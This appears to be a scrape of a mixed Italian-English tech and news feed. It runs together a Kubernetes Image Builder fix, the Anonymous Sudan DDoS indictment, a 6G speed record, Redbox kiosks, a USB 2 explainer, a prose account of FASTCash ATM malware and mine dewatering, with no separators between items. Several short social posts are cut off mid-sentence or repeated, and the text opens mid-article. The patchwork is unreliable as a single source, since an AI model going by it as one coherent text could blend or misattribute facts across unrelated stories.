Per risolvere la vulnerabilità, dovrai ricostruire le immagini interessate utilizzando Kubernetes Image Builder versione 0.1.38 o successiva, che imposta una password generata casualmente durante il processo di creazione e disabilita anche l’account del builder per impostazione predefinita al termine del processo.
Inoltre, una soluzione al problema potrebbe essere quella di disabilitare l’account del costruttore utilizzando il comando usermod -L builder.
Il Dipartimento di Giustizia degli Stati Uniti ha annunciato la presentazione di accuse contro due cittadini sudanesi che si trovano in custodia dal marzo 2024. Si ritiene che fossero membri del gruppo di hackerAnonymous Sudan, che ha effettuato più di 35.000 attacchi DDoS in un anno.
Ricordiamo che Anonymous Sudan è apparso nel 2023 e si è assunto la responsabilità di numerosi attacchi DDoS che hanno portato a massicce interruzioni nel funzionamento di una varietà di servizi in tutto il mondo.
Pertanto, il gruppo è diventato ampiamente noto a causa degli attacchi DDoS contro Microsoft, che hanno causato interruzioni nel lavoro di Outlook, Microsoft Teams, OneDrive for Business e SharePoint Online e hanno colpito anche la piattaforma Microsoft Azure.
Successivamente, il gruppo ha lanciato un attacco DDoS su larga scala contro X (ex Twitter), progettato per fare pressione su Elon Musk affinché lanciasse il servizio Starlink in Sudan. Di conseguenza, X ha riscontrato problemi evidenti per diverse ore.
Altri attacchi di Anonymous Sudan hanno preso di mira OpenAI, Riot Games, PayPal, Steam, Hulu, Netflix, Reddit, GitHub, Cloudflare, nonché agenzie governative e organizzazioni mediche in tutto il mondo, tra cui il Cedars-Sinai Hospital di Los Angeles, dove il DDoS ha interrotto la funzionamento di una serie di sistemi e i pazienti dovevano essere reindirizzati verso altri ospedali.
Allo stesso tempo, gli specialisti della sicurezza informatica ritengono che il gruppo, nonostante il nome, non sia collegato né agli hacktivisti originali di Anonymous Sudan, apparsi in Sudan nel 2019, né agli hacktivisti di Anonymous. Ma ci sono stati suggerimenti secondo cui il gruppo operava sotto falsa bandiera e potrebbe in realtà essere collegato alla Russia. Questi sospetti si sono intensificati quando gli hacker hanno annunciato la creazione di un “parlamento DARKNET” composto da altri hacker filo-russi, tra cui Killnet e REvil, e hanno poi preso parte ad un attacco alla Banca europea per gli investimenti (BEI).
Ora il Dipartimento di Giustizia degli Stati Uniti ha pubblicato un atto d’accusa contro due fratelli, cittadini del Sudan: Ahmed Salah Yousif Omer (Ahmed Salah Yousif Omer), 22 anni, e Alaa Salah Yusuuf Omer (Alaa Salah Yusuuf Omer), 27 anni. sospettati di gestire Anonymous Sudan e di aver partecipato ad attacchi.
Il procuratore Martin Estrada ha affermato che Anonymous Sudan è “il gruppo informatico più pericoloso in termini di attacchi DDoS” e che le motivazioni dei fratelli erano legate all’ideologia nazionalista sudanese. Secondo lui, i fratelli sono in custodia dal marzo di quest’anno, e da allora l’attività di Anonymous Sudan è cessata e le infrastrutture del gruppo sono state sequestrate. Non è noto in quale paese i sospettati siano stati arrestati, ma è noto che non sono in custodia negli Stati Uniti, sebbene siano stati interrogati dall’FBI.
Le forze dell’ordine hanno affermato che, a differenza di altri gruppi che effettuano attacchi DDoS, Anonymous Sudan non ha violato i dispositivi di altre persone per utilizzarli nelle loro azioni. Gli hacker hanno invece utilizzato gli strumenti Skynet Botnet o DCAT e server proxy.
“Ho intervistato i dipendenti di Amazon che stavano indagando sulle informazioni relative agli attacchi botnet Skynet contro i clienti di Amazon”, ha scritto l’agente speciale dell’FBI Elliott Peterson nei documenti del tribunale . “Hanno stabilito che gli attacchi non provenivano da dispositivi delle vittime compromessi, come di solito accade con le botnet, ma da dispositivi configurati per inoltrare automaticamente determinate categorie di traffico Internet. Tali risolutori proxy aperti sono dispositivi di “inoltro automatico”, ed è da loro che consisteva la parte pubblica della botnet Skynet, e spesso queste erano le uniche informazioni che le vittime degli attacchi Skynet potevano vedere durante l’analisi dei dati di rete.”
I sospettati sono accusati di associazione a delinquere finalizzata a causare danni a computer protetti, e Ahmed Omer è accusato di tre ulteriori capi di imputazione per aver causato danni a computer protetti separatamente da suo fratello.
Inoltre, Ahmed Omer ora rischia una pena massima fino all’ergastolo per aver messo incautamente in pericolo la vita di altre persone a causa del suddetto attacco all’ospedale Cedars-Sinai. Suo fratello, Alaa Salah, rischia fino a cinque anni di carcere.
Gli scienziati britannici sono riusciti ad accelerare le comunicazioni fino all’incredibile velocità di 938 gigabit al secondo. Ciò è stato fatto da un gruppo dell’University College di Londra guidato da Zhixin Liu. La loro tecnologia ha letteralmente superato di 9000 volte la prestazione media delle moderne reti 5G.
La nuova tecnologia consente di scaricare più di 20 lungometraggi al secondo. I ricercatori hanno stabilito un nuovo record per i dati multiplex, combinando più segnali in un unico flusso. O meglio, segnali di vario tipo.
È stata utilizzata una gamma di frequenze senza precedenti: da 5 a 150 gigahertz. La combinazione di onde radio e radiazioni luminose ha permesso di espandere notevolmente i canali di trasmissione dei dati. Fino a quel momento, i metodi elettronico e optoelettronico venivano utilizzati separatamente a causa delle difficoltà con la sincronizzazione della frequenza.
L’esperimento è stato originariamente condotto per valutare le potenziali capacità delle future reti 6G . Secondo Liu, se le reti 5G di oggi possono essere paragonate a una strada stretta e trafficata, la loro soluzione la trasforma in un’autostrada a dieci corsie.
Il team ha inoltre sviluppato un sistema ibrido di generazione del segnale. Per le frequenze da 5 a 75 GHz sono stati utilizzati convertitori digitale-analogici ad alta velocità. Per frequenze di onde millimetriche più elevate, comprese la banda W (75-110 GHz) e la banda D (110-150 GHz), è stata utilizzata la miscelazione di segnali modulati otticamente con laser a fotodiodo stabilizzati in frequenza.
Il rumore di fase viene ridotto sincronizzando due coppie di laser a linea stretta rispetto a un comune oscillatore al quarzo. Questo approccio ha permesso di utilizzare nel modo più efficiente l’intero spettro di frequenze disponibile. Utilizzando il formato OFDM (multiplexing a divisione di frequenza ortogonale) e il caricamento dei bit, i ricercatori hanno raggiunto velocità di trasferimento dati di 938 Gbps con intervalli minimi tra le diverse bande, inferiori a 300 MHz.
Sebbene il set di record si riferisca a dati multiplex, i singoli segnali sono stati trasmessi ancora più velocemente, a una velocità di oltre un terabit al secondo.
Il team di Liu è già in trattative con produttori di smartphone e operatori di telecomunicazioni sulle applicazioni pratiche della tecnologia. Parallelamente, le società di telecomunicazioni giapponesi hanno presentato il proprio dispositivo per le reti 6G, in grado di trasmettere dati 20 volte più velocemente del 5G. Il loro sviluppo garantisce velocità di 100 Gbit/s su una distanza fino a 100 metri.
La nuova tecnologia è particolarmente importante per lo sviluppo delle reti radio di prossima generazione (RAN), che richiedono velocità di trasmissione dati wireless ultra elevate tra le stazioni base – più di 100 Gbps – per connettere punti di accesso e siti di comunicazione.
I servi dell'UE non si smentiscono mai cari connazionali. Prepariamoci alle restrizioni e tasse. Giorgetti annuncia l'accordo tra UE e Italia: 7 anni di austerità per ridurre il debito - L'INDIPENDENTE lindipendente.online/2024/10/1…
Redbox was a service for renting DVDs from automated kiosks. The business was going well until it wasn’t anymore, and then the company went bankrupt in July this year. And yet… the machines live on. At least, that’s according to YouTuber [Smokin’ Silicon], who spotted some remaining Redbox kiosks out and about. Including at his local Walmart!
Here’s the thing. There’s not one big switch at Redbox that turns all the machines off, and even if there was—nobody hit it the moment the company declared bankruptcy. Thus, when [Smokin’ Silicon] rocked up to Walmart, he was able to flick through the movies and even add one to cart for purchase. However, trying to complete the transaction failed—the kiosk eventually reported itself as out of service. That makes sense—you’d expect payment processing to be the first thing to go down.
However, other Redbox kiosks were different. A kiosk at a Food Lion location actually still worked—and [Smokin’ Silicon] was able to complete the transaction and walk away with a Black Adam disc! On a second trip, he was able to walk away with even more!
The rest of the video dives into Redbox lore and other posts online about the status of the company, software, and hardware. Apparently, someone on Reddit was claiming they had the Redbox kiosk OS available. Meanwhile, some users have had trouble returning their discs because the company is now defunct. However, [Smokin’ Silicon] was able to return his without issue. Ultimately, though, he recommends his viewers to go out and score as many DVDs and Blu Rays as possible from the machines since soon enough, they’ll be gone forever.
The fact is, businesses are big and Kafkaesque, the kiosks are scattered all over the country, and so it’s anybody’s guess if and when they stop working. Back when this website began, a redbox was something different entirely. Video after the break.
If you get an inexpensive diode laser cutter, you might have been disappointed to find it won’t work well with transparent acrylic. The material just passes most of the light at that wavelength, so there’s not much you can do with it. So how did [Rich] make a good-looking sign using a cheap laser? He used a simple paint and mask technique that will work with nearly any clear material, and it produces great-looking results, as you can see in the video below.
[Rich] starts with a piece of Acrylic covered with paper and removes the paper to form a mask. Of course, even a relatively anemic laser can slice through the paper covering with no trouble at all. He also cuts an outline, which requires a laser to cut the acrylic. However, you could easily apply this to a rectangular hand-cut blank. Also, most diode lasers can cut thin acrylic, but it doesn’t always come out as cleanly as you’d like.
We wondered why [Rich] didn’t mirror image the graphic and then found out he simply forgot. So, the first pass through the laser doesn’t produce the piece he actually worked with later in the video. We are glad to know we aren’t the only ones who do things like that.
Using a pick, he removes some of the cut paper to reveal the parts he wants to paint a particular color. Then he removes more parts and paints again. The trick is, of course, that he’s painting the back of the acrylic, so the top layer shows through. In this case, he removes part of the mask and paints it orange. Then, he removes the mask that covers the black parts and paints it black. Finally, he removes the rest of the mask, which covers parts that will remain clear or show the paper backing if you leave it on.
If you have a laser and you haven’t discovered [Rich’s] channel, you will spend the rest of the day there. He has numerous tips and techniques for all kinds of lasers. He even turned us on to standoff pins. If you want a deep dive into acrylic, here you go.
@Informatica (Italy e non Italy 😁) Il Dipartimento di Giustizia degli Stati Uniti ha recentemente accusato gli operatori di “Anonymous Sudan” di aver condotto attacchi DDoS (Distributed Denial of Service) contro infrastrutture critiche. Questi attacchi hanno preso di mira vari settori,
@Notizie dall'Italia e dal mondo Le prime analisi dimostrano l'uccisione del leader del movimento palestinese. Israele attende la conferma definitiva dall'esame del DNA. Sinwar sarebbe stato ucciso durante uno scambio a fuoco e non per un'esecuzione mirata. L'articolo Israele: “Abbiamo ucciso Sinwar”. L’offensiva a
Sometimes you need to create a satellite navigation tracking device that communicates via a low-power mesh network. [Powerfeatherdev] was in just that situation, and they whipped up a particularly compact solution to do the job.
As you might have guessed based on the name of its creator, this build is based around the ESP32-S3 PowerFeather board. The PowerFeather has the benefit of robust power management features, which makes it perfect for a power-sipping project that’s intended to run for a long time. It can even run on solar power and manage battery levels if so desired. The GPS and LoRa gear is all mounted on a secondary “wing” PCB that slots directly on to the PowerFeather like a Arduino shield or Raspberry Pi HAT. The whole assembly is barely larger than a AA battery.
It’s basically a super-small GPS tracker that transmits over LoRa, while being optimized for maximum run time on limited power from a small lithium-ion cell. If you’re needing to do some long-duration, low-power tracking task for a project, this might be right up your alley.
LoRa is a useful technology for radio communications, as we’ve been saying for some time. Meanwhile, if you’ve got your own nifty radio comms build, or anything in that general milleu, don’t hesitate to drop us a line!
HMD Global ha introdotto una funzionalità molto interessante nell’ultimo aggiornamento software per lo smartphone Skyline targato Nokia. La modalità, chiamata Digital Detox, aiuta gli utenti a ridurre il tempo trascorso sui social media e a migliorare la concentrazione sul lavoro bloccando selettivamente alcune app che distraggono.
L’idea principale è la possibilità di configurare il blocco di applicazioni e contatti specifici, completamente o parzialmente. Gli utenti possono scegliere autonomamente quali applicazioni bloccare, siano esse social network, client di posta elettronica o qualsiasi altro programma di distrazione. Per attivare la modalità, è presente sia un widget separato sulla schermata principale sia un pulsante nel pannello delle impostazioni rapide dello smartphone.
Digital Detox offre il blocco fino a 14 categorie di applicazioni con la possibilità di creare un elenco di eccezioni. Attivando questa modalità, le icone delle applicazioni bloccate vengono sostituite da cerchi neri con un lucchetto, che segnalano che questi programmi non sono disponibili per un certo periodo. Cioè, l’utente non solo non riceverà notifiche dalle applicazioni bloccate, ma non potrà nemmeno accedervi.
Esistono diversi livelli di blocco: Soft Lock, che può essere disabilitato manualmente, e Hard Lock, che non può essere annullato prima dello scadere del tempo impostato. Il blocco può essere attivato per qualsiasi intervallo di tempo fino a 24 ore. Si presuppone che l’utente lo accenda volontariamente per focalizzare la sua attenzione su compiti importanti. Anche se a prima vista la funzionalità sembra interessante e utile, gli utenti hanno scoperto che il blocco delle app non si estende al browser web. Ciò significa che l’accesso ai social network tramite esso sarà comunque possibile, anche se le applicazioni corrispondenti saranno bloccate. Nonostante ciò, HMD intende migliorare la tecnologia nei futuri aggiornamenti.
For some time now, Apple has developed a reputation for manufacturing computers and phones that are not particularly repairable or upgradable. While this reputation is somewhat deserved, especially in recent years, it seems less true for their older machines. With the second and perhaps most influential computer, the Apple II, being so upgradable that the machine had a production run of nearly two decades. Similarly, the Macintosh Plus of 1986 was surprisingly upgradable and repairable and [Hunter] demonstrates its capabilities by bringing one onto the modern Internet, albeit with a few tricks to adapt the old hardware and software to the modern era.
The Mac Plus was salvaged from a thrift store, and the first issue to solve was that it had some rotten capacitors that had to be replaced before the computer could be reliably powered on at all. [Hunter] then got to work bringing this computer online, with the only major hardware modification being a BlueSCSI hard drive emulator which allows using an SD card instead of an original hard disk. It can also emulate an original Macintosh Ethernet card, allowing it to fairly easily get online.
The original operating system and browser don’t support modern protocols such as HTTPS or scripting languages like Javascript or CSS, so a tool called MacProxy was used to bridge this gap. It serves simplified HTML from the Internet to the Mac Plus, but [Hunter] wanted it to work even better, adding modular domain-specific handling to allow the computer to more easily access sites like Reddit, YouTube, and even Hackaday, although he does call us out a bit for not maintaining our retro page perhaps as well as it ought to be.
[Hunter] has also built an extension to use the Wayback Machine to serve websites to the Mac from a specific date in the past, which really enhances the retro feel of using a computer like this to access the Internet. Of course, if you don’t have original Macintosh hardware but still want to have the same experience of the early Internet or retro hardware this replica Mac will get you there too.
Automattic CEO Matt Mullenweg made another buyout offer this week, and threatened employees who speak to the press with termination.#wordpress #News #automattic
I’ve talked a fair bit about USB-C before, explaining how it all works, from many different angles. That said, USB-C is just the physical connector standard, plus the PD part that takes care of voltages and altmodes – things like data transfer are still delegated to the two interfaces you invariably end up using on USB-C ports, USB 2, and USB 3.
You might think USB 2 and USB 3 are tightly related, but in many crucial ways, they couldn’t be more different. I have experience working with both, and, as you might guess, I want to share it all with you. You might be surprised to hear there’s plenty to learn about USB 2 in particular – after all, we’ve had it hang around for 30 years now. Well, let’s make sure you’re fully caught up!
The Ingredients
USB 2 is a point-to-point link – one side is “host” and another is “device”, with the host typically being a PC chipset or a single-board computer. USB 2 relies on a single pseudodifferential pair. It’s “pseudodifferential” because the wires don’t just do differential signaling – they also use digital logic levels and pullup/pulldown resistors to signal device presence, especially in the beginning when the USB link is still getting established. Indeed, you can imitate a USB device’s presence with just a resistor.
This differential pair is half-duplex – it’s used for communications back and forth, but only one direction of data transfer at a time. Just like I2C, USB 2 requires the host to initiate all communications. The host has to poll the devices on a regular basis to receive data, a point that regularly gets brought up by defenders of PS/2 keyboards.
You know that USB ports come with a a 5 V power rail, but there are plenty of 3.3 V USB devices, too – in fact, most USB devices operate on 3.3 V internally. At its core, USB 2 requires 3.3 V-based signaling – which is why, when powering your RP2040 from 1.8 V, you must still provide 3.3 V if you want the USB peripheral to work.
An old flash drive, with a 12MHz crystal front and center. By [Tod Kurt], CC BY 2.0You need reasonably accurate clocks to talk USB 2, which is why everyone ends up adding a 12 MHz crystal to their USB projects even when they have an internal RC oscillator. Some devices like cheap USB hub ICs boast an internal RC oscillator that supposedly works for USB transfers, but if you want to use it, you should test it well before you try and rely on it – it could be a path towards USB data transfer errors. Thankfully, 12 MHz crystals are more than abundant, and more than cheap enough.
In short – if you plan to put USB devices on your board, get some 12 MHz crystals and you’ll likely be well-prepared. Why the 12 MHz specifically? It’s directly related to a common USB 2 device speed, of which there are three.
The Three Generations
You might have heard of USB 1.1 and USB 2.0 standards, supposedly, being entirely different beasts – that’s true, but nowadays this distinction can be misleading. In practice, there are three versions of USB 2 you should actually distinguish.
These three versions are: low-speed at 1.5 Mbps, full-speed at 12 Mbps, and high-speed at 480 Mbps. The USB 1.1 standard only described the 1.5 Mbps “low-speed” and 12 Mbps “full-speed” devices. The USB 2.0 standard covers both of these modes, too, but also adds the 480 Mbps “high-speed” mode, which operates quite differently on the hardware level, and a number of other improvements. Modern devices are most often USB 2.0, even if they’re 1.5 Mbps or 12 Mbps, which is why I don’t use USB 1 to refer to these kinds of devices – it’s rarely true.
Which speed is this “USB 2.0” hub? Well, it could be any of the three – plug it in and find out. In my experience, this particular hub is unlikely to be well-built. By [メイド理世], CC BY-SA 4.0In fact, I’ve just checked, and all of my 12 Mbps USB devices report compatibility with USB 2.0 standard – my Logitech Unifying receiver, the internal Bluetooth adapter of my Intel WiFI card, and a USB-C 3.5 mm jack DAC from Apple. By the way, you can learn about your plugged-in USB devices and their speeds on Linux using lsusb -t and lsusb -v, and on Windows, you can use something like HWInfo. Bottom line is – the device speed is what matters, and the standard version doesn’t matter as much, whether it’s 1.0, 1.1, 2.0, or a secret fourth thing.
Flash drives and Ethernet or WiFi adapters are bound to be 480 Mbps, whereas devices like mice, keyboards, fingerprint readers, or USB-UART adapters are typically 12 Mbps. The three speed standards are expected to be compatible between each other – for instance, 480 Mbps devices are expected to be able to fall back to lower speeds if needed, and 480 Mbps hosts are designed to support 12 Mbps and 1.5 Mbps devices. The USB guarantee is that you can plug anything into anything, and generally, it works out.
Microcontrollers, sadly, rarely reach 480 Mbps on their USB peripherals, as much as that would make all our Pi Pico logic analyzers shine. There’s some fundamental reasons for this – 480 Mbps signaling is entirely different from 12 Mbps and 1.5 Mbps, with the 480 Mbps signal looking much more like a modern day differential pair, and 12 Mbps signal being firmly 3.3 V-referenced, in effect, a logic level signal a la UART. This is why you can easily capture lower-speed USB with a logic analyzer or a Pi Pico, but you can’t do that for 480 Mbps anymore.
Of course, some hosts don’t handle the inter-speed compatibility aspect well. This is generally a matter of driver support – famously, the Raspberry Pi 1 Model A, without the onboard USB hub and Ethernet chip, initially didn’t work well with mice and keyboards and other low-speed devices on its sole USB port. Specifically, its only USB port that was connected directly to the SoC. On the far more popular Model B, the onboard USB hub acted as a “proxy” of sorts, handling the lower-speed USB devices internally while keeping a full-speed link to the SoC, so the SoC on the Model B only actually talked to a single full-speed device and the driver issues never surfaced. The driver quality has come a long way, and the Pi Zero no longer experiences this problem, however, but other devices of yours might – if that’s the case, remember that you can always add a hub in between.
On the other hand, over a dozen years ago, when high-speed 480Mbps devices became more popular, PC front panel cabling was often designed for the somewhat more lax physical requirements of lower-speed USB, and even stretching those requirements. Remember the advice to plug your USB device directly into the motherboard port if it’s not working well? Often, the shoddily built front panel cable was the reason for that. Not to mention that most front panel boards never had any capacitors on them, something that dramatically helps your USB device stability when you’re adding a host port.
Oh, and the usual reminder, these data rate numbers are megabits (Mb) per second. If you want megabytes (MB) per second, you want to divide by 8, and then some more because of the data transfer overhead. In practice, if you have a 480 Mbps flash drive, expect transfer speeds of 30 MB per second or so; same goes for USB2 WiFi and Ethernet adapters, of course. This was another well-known problem with Raspberry Pi boards before Pi 4 – lowered transfer speeds when using Ethernet and USB devices at the same time, since all of them had to go through a single 480 Mbps link to the SoC. Then, with the Pi 4, the SoC acquired a PCIe link and a separate GMII link for Ethernet, and nowadays this complaint is history.
Conventions, Pinouts, Colours
Follow these colours and pinout as much as possible. Based on drawing by [Fred the Oyster], CC BY-SA 4.0USB2 has a well defined standard for wire colours and connector pinout. You shall try and preserve both the colours and the pinout as much as possible, because such conventions help everyone involved. Debugging a device for hours because you confused ground with data, or burning up devices because you mixed up power wires – these scenarios are disastrous and entirely preventable if you stick to the colors that everyone uses!
Red and black are 5 V power and ground – a good ground connection is required for USB to work. Wondering just how much current you get? The answer is, 500 mA is guaranteed, and 1 A to 2 A is exceptionally likely; I’ve talked about it in more detail in this article.
Green and white are D+ and D-, the two pins in the diffpair. Again, preserve these colours where possible! Cables are very likely to follow these specifications, and if you memorize the colours, you can easily wire up your own tech in no time. You can remember the colours through a mnemonic – green is summer (life, +), and white is winter (death, -). The standard pinout for USB-A and MicroUSB/MiniUSB connectors is VCC–D-–D+–GND, and it’s easy to remember too – you sit next to a fireplace (power) in winter, you go to the beach (ground) in the summer.
A USB standard, or a warcrime? Who’s to say. Though, maybe it’s my anti-HDMI bias speaking. By [C0nanPayne], CC BY-SA 4.0MicroUSB (and MiniUSB) has an ID pin right next to GND, a pin originally intended for indicating whether your phone’s MicroUSB socket should switch into host mode, and later growing into a proprietary mess of a pin. In those dark times, it was used for video over MicroUSB standards like MHL, debug port summoning using bespoke resistor values, and even combined charging and host modes – none of it documented or prominent in any reasonable way. You rarely ever need to bother with the ID pin – nowadays, USB-C does that the ID pin ever could and way more, and it’s clear the primitive proprietary ID pin signaling standards have inspired the well-structured standard that is USB PD.
Unlike some nice standards like PCIe and USB 2, you have to connect + to + and - to -, no crossing wires. It won’t hurt anything electrically if you flip them, though, so if you’re reverse-engineering a device with USB 2 on a custom connector, feel free to connect it one way, plug it in, check dmesg or Device Manager. If you see enumeration faults, just unplug, flip the wires, and plug it in again. One warning, don’t solder on the data wires of a device plugged in, that can easily kill your device! A flipped connection where both wires still make contact is guaranteed to still result in enumeration, just that it will error out – you can use that as a way to check your connections, too.
Which connector do you use for USB2 on your own devices? Without a doubt, USB-C is the best and most universal choice; don’t be like Raspberry Pi Foundation with Pi Pico boards, forcing us to tap into our ever so dwindling supply of microUSB cables. Remember, you only need two 5.1 kΩ resistors (or 4.7 kΩ, or two pairs of 10 kΩ in parallel) to properly implement a USB-C device port, or two 51 kΩ resistors to implement a host port. Don’t be a fool, USB-C your tools.
What if you want an embedded USB port, in a low footprint? My advice: you should put USB on JST-SH sockets, just like QWIIC, which is an I2C-on-JST-SH connector and pinout standard that you should also use. I used to put USB on the JST-SH pins in a way that mimicks the USB-A pinout, but now, I use a riff on the QWIIC pinout – GND–VCC–D+–D-. Yes, I told you to use a pinout, but this one is for a good cause – it avoids killing devices if you accidentally plug a QWIIC device into a USB JST-SH port, or vice-versa.
Bringing USB2 Places
You can pull a USB 2 link for up to five meters, in theory, though three or four meters is way more likely. Two meters is the longest that you usually see in USB2 cables on the market. You’ll want seriously proper cables for five meters, of course, because that’s where things start to get touchy. When it comes to link quality, USB 2 can take a beating – until it can’t.
You might have seen USB 2 operate in some pretty bad conditions – dirt cheap USB hubs routed on a single-layer cardboard-backed PCBs, no impedance matching whatsoever. Indeed, you can get away with this more often than not. However, if you’re pushing USB 2 to its 480 Mbps limit, maybe you’re just putting a hub on your board and exposing some ports, beware – you might just get an unpleasant surprise in the shape of USB errors in your OS logs. By the way, on Linux, you can check for these errors by looking in dmesg – run dmesg -Hw to get a view on what’s happening with your kernel, including any USB errors that might occur.
The RP2040 with its 12 Mbps max speed might not have to impedance match, though the Pi Pico does, but if you’re designing a hub and you want stable 480 Mbps, you should certainly remove length differences between tracks in the USB 2 differential pair, and at least attempt to impedance match your tracks – again, treat your diffpairs with respect. Off the board, same goes for making sure your D+ and D- wires are a twisted pair.
That’s enough for today – next time, let’s talk about ESD diodes, USB2 hubs, connectors, debug tools, bitbanging, descriptors, and a fair bit more. At the same time, let’s explore USB3 – USB2’s younger sibling, so alike yet very different.
@Notizie dall'Italia e dal mondo Le prime analisi dimostrano l'uccisione del leader del movimento palestinese. Israele attende la conferma definitiva dall'esame del DNA. Sinwar sarebbe stato ucciso durante uno scambio a fuoco e non per un'esecuzione mirata. L'articolo Israele: “Abbiamo ucciso Sinwar”. Hamas non conferma proviene da
Occasionally, we find fun new electronic instruments in the wild and can’t resist sharing them with our readers. The item in question is the FNIRSI HRM-10 Internal resistance meter, which we show here being reviewed by [JohnAudioTech].
So what does it do, and why would you want one? The device is designed to measure batteries so you can quickly determine their health. Its operating principle also allows it to do a decent job of measuring low-resistance parts, which is not necessarily as easy to achieve with the garden variety multimeter, especially the low-end ones. We reckon it would be useful in the field for checking the resistance of switches and relays, possibly in automotive or industrial applications. The four-pin connector is needed because there are two wires per probe, making a Kelvin (also known as four-wire) connection.
Likely, the operating principle is to apply a varying load to the battery under test and then measure the voltage drop. The slope of the voltage sag vs load is a reasonable estimate of the resistance of the source, at least for the applied voltage range. The Kelvin connection uses one pair of wires to apply the test current from a relatively low-impedance source and the second pair to measure the voltage with a high input impedance. That way, the resistance of the probe wires can be calibrated out, giving a much more accurate measurement. Many lab-grade measurement equipment works this way.
Circling back to the HRM-10, [John] notes that it also supports limit testing, making it a helpful gauging tool for the workbench when sorting through many batteries. Data logging and the ability to upload to a computer completes the feature set, which is quite typical for this level of product now. Gone are the days of keeping a manual logbook next to the instrument stack and writing everything down by hand!
[quote]Napoli si prepara ad accogliere i responsabili della Difesa dei Paesi del G7, nell’ambito della ministeriale dedicata al comparto organizzata dalla presidenza italiana. Il Gruppo dei sette parlerà, naturalmente, delle principali sfide geopolitiche attuali, dalla guerra in Ucraina alla crisi in Medio Oriente, passando
@Politica interna, europea e internazionale È uscito il nuovo numero di The Post Internazionale. Il magazine, disponibile già da ora nella versione digitale sulla nostra App, e da domani, venerdì 18 ottobre, in tutte le edicole, propone ogni due settimane inchieste e approfondimenti sugli affari e il
Gli hacker nordcoreani utilizzano una nuova variante Linux del malwareFASTCash per infettare i sistemi di trasferimento dei pagamenti degli istituti finanziari e il prelievo non autorizzato di contanti dagli sportelli bancomat.
Le varianti precedenti di FASTCash erano mirate ai sistemi Windows e IBM AIX (Unix), ma recentemente un rapporto del ricercatore di sicurezza HaxRob ha menzionato una versione Linux precedentemente sconosciuta del malware che prendeva di mira le distribuzioni Ubuntu 22.04 LTS.
Vale la pena notare che gli esperti hanno messo in guardia già nel 2018. All’epoca, questa attività era attribuita al gruppo di hacker nordcoreano Hidden Cobra. È stato segnalato che FASTCash è stato utilizzato per svuotare gli sportelli bancomat in paesi dell’Asia e dell’Africa almeno dal 2016. Nel 2017, sono stati prelevati contanti dagli sportelli bancomat contemporaneamente in 30 paesi, e nel 2018 è stato registrato un altro incidente in cui gli hacker hanno svuotato gli sportelli bancomat in altri 23 paesi.
Nel 2020, lo US Cyber Command ha portato rinnovata attenzione su questa minaccia, collegando la rinnovata attività a FASTCash 2.0 e al gruppo APT38 (Lazarus). Un anno dopo, tre cittadini nordcoreani furono accusati di essere coinvolti in questi programmi e responsabili del furto di oltre 1,3 miliardi di dollari da istituzioni finanziarie di tutto il mondo.
La variante di malware più recente individuata da HaxRob è apparsa per la prima volta su VirusTotal nel giugno 2023 e il ricercatore scrive che presenta somiglianze con le varianti precedenti per Windows e AIX. Il nuovo FASTCash si presenta come una libreria condivisa che viene inserita in un processo in esecuzione sul server utilizzando la chiamata di sistema ptrace e la collega alle funzioni di rete.
Gli switch attaccati sono intermediari che forniscono la comunicazione tra gli ATM, i terminali PoS e i sistemi centrali delle banche, instradando richieste e risposte alle transazioni. Il malware intercetta e manipola i messaggi di transazione ISO8583, utilizzati nel settore finanziario per elaborare carte di debito e di credito.
Nello specifico, FASTCash intercetta i messaggi relativi alle transazioni che sono state rifiutate a causa di fondi insufficienti sul conto del titolare della carta e sostituisce la risposta “rifiuta” con una risposta “approva“. Il messaggio modificato contiene anche un importo casuale compreso tra 12.000 e 30.000 lire turche (350-875 dollari) per autorizzare la transazione richiesta.
Una volta ricevuto nel sistema della banca il messaggio contenente i codici di approvazione (DE38, DE39) e l’importo (DE54), la banca approva la transazione e il money mule, lavorando in collaborazione con gli hacker, ritira i contanti dal bancomat e fugge.
Va notato che quando la versione Linux di FASTCash è apparsa su VirusTotal, non è stata rilevata dalle soluzioni di sicurezza, il che significa che il malware ha aggirato con successo la maggior parte dei meccanismi di sicurezza standard, consentendo agli hacker di eseguire le proprie operazioni senza interferenze.
From space, the most striking feature of our Pale Blue Dot is exactly what makes it blue: all that water. About three-quarters of the globe is covered with liquid water, and our atmosphere is a thick gaseous soup laden with water vapor. Almost everywhere you look there’s water, and even where there’s no obvious surface water, chances are good that more water than you could use in a lifetime lies just below your feet, and accessing it could be as easy as an afternoon’s work with a shovel.
And therein lies the rub for those who delve into the Earth’s depths for the minerals and other resources we need to function as a society — if you dig deep enough, water is going to become a problem. The Earth’s crust holds something like 44 million cubic kilometers of largely hidden water, and it doesn’t take much to release it from the geological structures holding it back and restricting its flow. One simple mineshaft chasing a coal seam or a shaft dug in the wrong place, and suddenly all the hard-won workings are nothing but flooded holes in the ground. Add to that the enormous open-pit mines dotting the surface of the planet that resemble nothing so much as empty lakes waiting to fill back up with water if given a chance, and the scale of the problem water presents to mining operations becomes clear.
Dewatering mines is a complex engineering problem, one that intersects and overlaps multiple fields of expertise. Geotechnical engineers work alongside mining engineers, hydrogeologists, and environmental engineers to devise cost-effective ways to control the flow of water into mines, redirect it when they can, and remove it when there’s no alternative.
An Old Problem
You’d be forgiven for thinking that dewatering mines is just about building and installing big pumps; that’s pretty much where I was when I started researching this article in the wake of Hurricane Helene’s recent unwelcome visit to Appalachia and the potential destruction of the quartz mines at Spruce Pine, North Carolina. The mines there are the world’s single source for ultra-pure natural quartz, and flooding from the two feet (60 cm) of rain Helene dumped there threatened to shut down the semiconductor industry, thanks to the lack of natural quartz needed for the crucibles that turn raw silicon into high-purity wafers via the Czochralski process.
Luckily, the Spruce Pine mines somehow dodged that bullet, but the whole thing got me thinking about dewatering. I knew that pumping water out of mines went back at least to the beginning of the Industrial Revolution, with getting rid of water from coal mines being one of the driving forces behind the invention of the steam engine. Thomas Newcomen’s atmospheric engines were put to use pumping out coal mines in the West Midlands of England and tin mines in Cornwall as early as 1712. Inefficient, but effective. A Newcomen atmospheric engine, similar to the ones that powered dewatering pumps for mines early in the Industrial Revolution. Early dewatering efforts were a brute-force affair, with the massive rocking arms of remarkably inefficient steam engines pulling pistons up and down inside pipes, lifting water to the surface and dumping it onto the ground to drain into streams and lakes. The pumps only needed to move water faster than it flowed into the mine, and woe betide the engineer who let his engine lag behind or fail completely so that the mine flooded. To make things worse, the water that was ejected from these mines was often quite polluted, especially in geological formations that resulted in the acidification of floodwaters. Spilling toxic and acidic tailings water onto the surface is famously destructive to the environment, a topic of much less concern back then.
